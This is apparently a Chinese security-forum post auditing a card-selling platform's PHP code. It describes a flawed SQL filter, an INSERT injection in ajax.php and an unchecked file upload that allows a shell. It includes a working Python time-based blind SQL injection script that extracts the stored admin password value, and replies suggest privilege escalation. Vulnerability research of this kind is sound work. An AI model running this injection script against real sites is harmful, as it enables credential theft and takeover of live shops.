某发卡平台代码审计

首先分析一下文件目录

然后看看关键文件,common.php中找到了sql注入过滤函数

大概就是把特殊字符全部删除,但是_safwq遗漏了反斜杠和双引号。(这里先留个坑)
而且获取客户端的real_ip函数也做了正则校验。

首先是一个insert注入:


可以看到qq是我们可控滴,先是经过了daddslashes函数然后又是经过了_safwl函数,首先跟进daddslashes函数看看是不是把单引号转义了,这里就是转义单引号。如果没开gpc或者force不等于0的情况下转义特殊字符。

然后回到_sqfwl函数,除了反斜杠,其他特殊字符都会被替换为空字符。
可以发现 ' 先是经过了daddshasle转义 ' 然后经过_safwl过滤变成了\。
当时心里就感觉这里有注入了, 这里假设反斜杠没有被过滤, 原本是思路是这样:
select * from xxx where name = '_GET[name]' and pass=' _GET[pass]'
然后使用反斜杠转义单引号 ,这样就可以逃逸出来了,假设输入 name = \ , pass = or 1 --+
那最后的语句就是
select * from xxx where name = '' and pass=' or 1 -- +

好了思路有了, 现在开始找可利用的语句。
在ajax.php的180行中 发现了一条sql语句,嘿,您猜怎么着。


没有单引号包裹,直接就是一个insert注入了。

然后这里基本就算拿到后台权限了, 再找找有什么地方能够getshell。
首先看上传函数,在function.php中



可以发现,这里并没有检查上传文件后缀名。
找一下调用

上传:
image.png

image.png

附带盲注脚本:

import requests

head = {
    'X-Requested-With': 'XMLHttpRequest',
    'Cookie': '你的cookie'
}

data = {
    'tradeno': '162610654500038336',
    'gid': '1',
    'allprice': '1',
    'price': '1.00',
    'qq': '1233313',
    'type': 'alipay',
    'number': '1',
    'paypass': '',
    'coupon': '',
    'phone': '',
    'fcwfid': '1,0,0), (1,0,0,0,0,{sqli},0,0,0,0,0,0'
}

url = 'http://127.0.0.1/ajax.php?act=createorder'

for i in range(1,33):
    flag = 0

    for x in range(10):
        sqli = f'if(substr((select\nsafwl_v\nfrom\nsafwl_config\nwhere\nsafwl_k\nlike\n0x707764),{i},1)\nlike\n{x},2,sleep(1))'
        sql = f'1,0,0),(1,0,0,0,0,{sqli},0,0,0,0,0,0'
        data['fcwfid'] = sql
        r = requests.post(url, headers=head, data=data)
        if r.elapsed.seconds < 1:
            print(x, end='')
            flag = 1
            break

    for x in range(26):
        if flag:
            break
        sqli = f'if(substr((select\nsafwl_v\nfrom\nsafwl_config\nwhere\nsafwl_k\nlike\n0x707764),{i},1)\nlike\n{hex(97+x)},2,sleep(1))'
        sql = f'1,0,0),(1,0,0,0,0,{sqli},0,0,0,0,0,0'
        data['fcwfid'] = sql
        r = requests.post(url, headers=head, data=data)
        if r.elapsed.seconds < 1:
            print(chr(97+x), end='')
            break

1 Like

抱歉,单引号好像被转义了 ,sql注入反斜杠那段

select * from xxx where name = '$_GET[name]' and pass='$_GET[pass]'
然后使用反斜杠转义单引号 ,这样就可以逃逸出来了,假设输入 name = \ , pass = or 1 --+
那最后的语句就是
select * from xxx where name = '\' and pass=' or 1 -- +

然后补上两张上传漏洞图片

好眼熟 这一套不会存在越权修改管理密码吧

试试看越权

貌似我下载这套连用户登陆功能都没有..............